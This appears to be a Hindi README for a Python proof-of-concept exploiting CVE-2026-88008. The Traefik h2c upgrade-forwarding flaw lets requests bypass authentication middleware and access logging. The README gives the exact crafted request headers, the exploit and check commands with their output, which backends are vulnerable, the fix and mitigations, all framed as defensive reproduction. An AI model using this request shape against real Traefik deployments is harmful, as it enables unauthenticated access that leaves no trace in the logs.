
CVE-2026-88008 के लिए केवल-मानक-लाइब्रेरी (stdlib-only) Python PoC: राउटर और प्रमाणीकरण मिडलवेयर को बायपास करके टनल बनाने के लिए Traefik h2c अपग्रेड फ़ॉरवर्डिंग का शोषण करता है, साथ ही फ़िक्स सत्यापन के लिए एक Jetty h2c लैब शामिल है।
प्रभावित: Traefik 2.11.26 → 2.11.56 और 3.7.0 → 3.7.12
ठीक किया गया: 2.11.57 / 3.7.13 — कमिट a277e946 "Do not forward h2c upgrade headers to the backend"
सलाहकारी: GHSA-w4v4-9rw7-5326 · CVSS 9.1
वर्ग: CWE-444 (अनुरोध तस्करी / असंगत व्याख्या) + CWE-863 (गलत प्राधिकरण)
Traefik का HTTP रिवर्स प्रॉक्सी प्रॉक्सी करते समय क्लाइंट के Connection: Upgrade /
Upgrade: h2c जोड़े को फिर से जोड़ता है और HTTP2-Settings हेडर को भी
आगे भेजता है। एक अपस्ट्रीम जो RFC 7540 §3.2 h2c अपग्रेड हैंडशेक लागू करता है, वह
101 Switching Protocols का उत्तर देता है; फिर Go का httputil.ReverseProxy एक कच्ची
बाइट टनल में बदल जाता है। उसके बाद कनेक्शन पर सब कुछ सीधे बैकएंड तक HTTP/2 होता है:
Traefik के राउटर और मिडलवेयर (BasicAuth, ForwardAuth, IPAllowList,
RateLimit) की कभी सलाह नहीं ली जाती, और ट्रैफ़िक को एक्सेस-लॉग, मीटर या
ट्रेस भी नहीं किया जाता।
वह अनुरोध आकार जो Traefik को तीनों भागों को आगे भेजने पर मजबूर करता है:
GET /public.html HTTP/1.1
Host: target
Connection: Upgrade # HTTP2-Settings deliberately NOT listed here
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
HTTP2-Settings को Connection टोकन सूची से बाहर रहना चाहिए, क्योंकि Go का
रिवर्स प्रॉक्सी प्रॉक्सी करने से पहले Connection में नामित प्रत्येक हेडर को हटा देता है —
वहाँ इसे सूचीबद्ध करने से सेटिंग्स हेडर हट जाता है और अपस्ट्रीम अपग्रेड को अस्वीकार कर देता है। केवल Upgrade का नाम देने से हेडर जीवित रहता है जबकि Go अभी भी
Connection: Upgrade / Upgrade: h2c जोड़ी को फिर से जोड़ता है। वास्तविक प्रॉक्सी पर मापा गया:
# what the upstream received through vulnerable v3.7.12
GET /vuln-probe.html HTTP/1.1
Host: lab
Connection: Upgrade
Http2-Settings: AAMAAABkAAQAAP__
Upgrade: h2c
# through fixed v3.7.13
GET /fix-probe.html HTTP/1.1
Host: lab
# -> no Connection, no Upgrade, no Http2-Settings
यह फ़िक्स (pkg/server/service/upgrade.go) रिवर्स प्रॉक्सी को एक
h2cUpgradeHandler में लपेटता है जो Upgrade को हटा देता है (जब Connection में
Upgrade टोकन हो और मान h2c हो) और हमेशा Http2-Settings को हटा देता है।
# vulnerable target: assert the bypass
python3 poc.py exploit --url http://127.0.0.1:8083
# fixed/control target: assert the upgrade is refused and the path stays protected
python3 poc.py check --url http://127.0.0.1:8084
PoC केवल stdlib पर आधारित है, असुरक्षित पथ पर upgrade खोलता है, और — एक बार tunnel स्थापित होने पर — बिना किसी credentials के middleware-संरक्षित पथ को fetch करने के लिए HTTP/2 (raw frames, न्यूनतम HPACK) का उपयोग करता है। नए HTTP/2 connection का Stream 1 replayed upgrade request है (RFC 7540 §3.2); PoC उसे drain करता है और फिर अपना स्वयं का request stream 3 के रूप में भेजता है।
Lab: वास्तविक traefik:v3.7.12 और traefik:v3.7.13 containers, और cleartext
HTTP/2 (--add-modules=http2c) के साथ एक वास्तविक Jetty 12 upstream, जो एक ऐसा
document serve करता है जिसे basicAuth middleware सुरक्षित करता है। Recipe:
lab/README.md।
$ python3 poc.py exploit --url http://127.0.0.1:8083 # Traefik v3.7.12
[*] target : http://127.0.0.1:8083
[*] public path : /public.html
[*] protected path: /protected.html
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 101 Switching Protocols
[*] stream 1 (replayed upgrade request) body: 'PUBLIC-OK'
[*] tunnel frames : 1:3:4 0:3:0 0:3:1
[+] content served over the unauthorised tunnel:
PROTECTED-CONTENT-OK
=> PASS (unauthenticated access to /protected.html through the h2c tunnel; Traefik's routers/middlewares were never applied to this request)
$ python3 poc.py check --url http://127.0.0.1:8084 # Traefik v3.7.13
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 200 OK
=> PASS (control: upgrade not forwarded and the protected path still requires auth)
$ python3 poc.py exploit --url http://127.0.0.1:8084
[*] upgrade request -> HTTP/1.1 200 OK
=> FAIL (upgrade refused - no h2c tunnel, target is not vulnerable / is fixed)
वulnerable रन पर Traefik का अपना access log smuggling सतह दिखाता है: upgrade अनुरोध को hijacked स्थिति (0) के साथ दर्ज किया जाता है, और जिस संरक्षित दस्तावेज़ को tunnel ने fetch किया, उसकी access logging में कोई प्रविष्टि नहीं है — bypass access logging के लिए अदृश्य है:
"GET /protected.html HTTP/1.1" 401 17 ... "prot@file" <- our baseline check
"GET /public.html HTTP/1.1" 0 0 ... "pub@file" 7ms <- the upgrade request (tunnelled)
<- the tunneled protected fetch: nothing logged
बायपास के लिए एक ऐसे अपस्ट्रीम की आवश्यकता होती है जो h2c अपग्रेड को उसी रूप में स्वीकार करे जैसे Traefik उसे फ़ॉरवर्ड करता है, अर्थात् Connection: Upgrade, Upgrade: h2c और एक HTTP2-Settings हेडर के साथ, लेकिन Connection के अंदर HTTP2-Settings टोकन की आवश्यकता के बिना। सत्यापित रूप से स्वीकार करने वाले:
http2c मॉड्यूल के साथ (UPGRADE: h2c + settings हेडर पर्याप्त है) — यही वह अपस्ट्रीम है जिसका उपयोग लैब में किया गया है।सत्यापित रूप से अस्वीकार करने वाले (ये अतिरिक्त रूप से RFC-सख्त Connection: Upgrade, HTTP2-Settings टोकन सूची पर ज़ोर देते हैं, जिसे Traefik प्रदान नहीं कर सकता क्योंकि Go का रिवर्स प्रॉक्सी Connection में नामित हेडरों को हटा देता है):
mod_http2 — लॉग करता है AH03086: upgrade without HTTP2-Settings declinedgolang.org/x/net/http2/h2c — इसका isH2CUpgrade() Connection में HTTP2-Settings टोकन की आवश्यकता रखता हैइसलिए पहुँचने योग्य पीड़ितों का समूह वे अपस्ट्रीम हैं जिनमें h2c अपग्रेड जाँच ढीली है (Jetty पर चलने वाली Java सेवाएँ सामान्य स्थिति हैं), न कि हर बैकएंड। प्रॉक्सी-पक्ष का बग और फ़िक्स की सीमा बिना शर्त हैं, यही कारण है कि विक्रेता ने इसे जारी किया।
Upgrade: h2c भेज सके) और अपस्ट्रीम में h2c अपग्रेड समर्थन अक्षम करें (Apache में Protocols http/1.1, Jetty में http2c मॉड्यूल नहीं) — यही फ़्लैग इस परिवार की सहोदर सलाहकारों को भी समाप्त कर देता है (CVE-2026-85595 digestAuth बायपास, CVE-2026-71324 CONNECT डीसिंक)।सार्वजनिक विक्रेता फ़िक्स के साथ सार्वजनिक CVE; यह रिपॉज़िटरी रक्षकों के लिए और फ़िक्स की सीमा को सत्यापित करने के लिए एक स्वतंत्र पुनरुत्पादन है।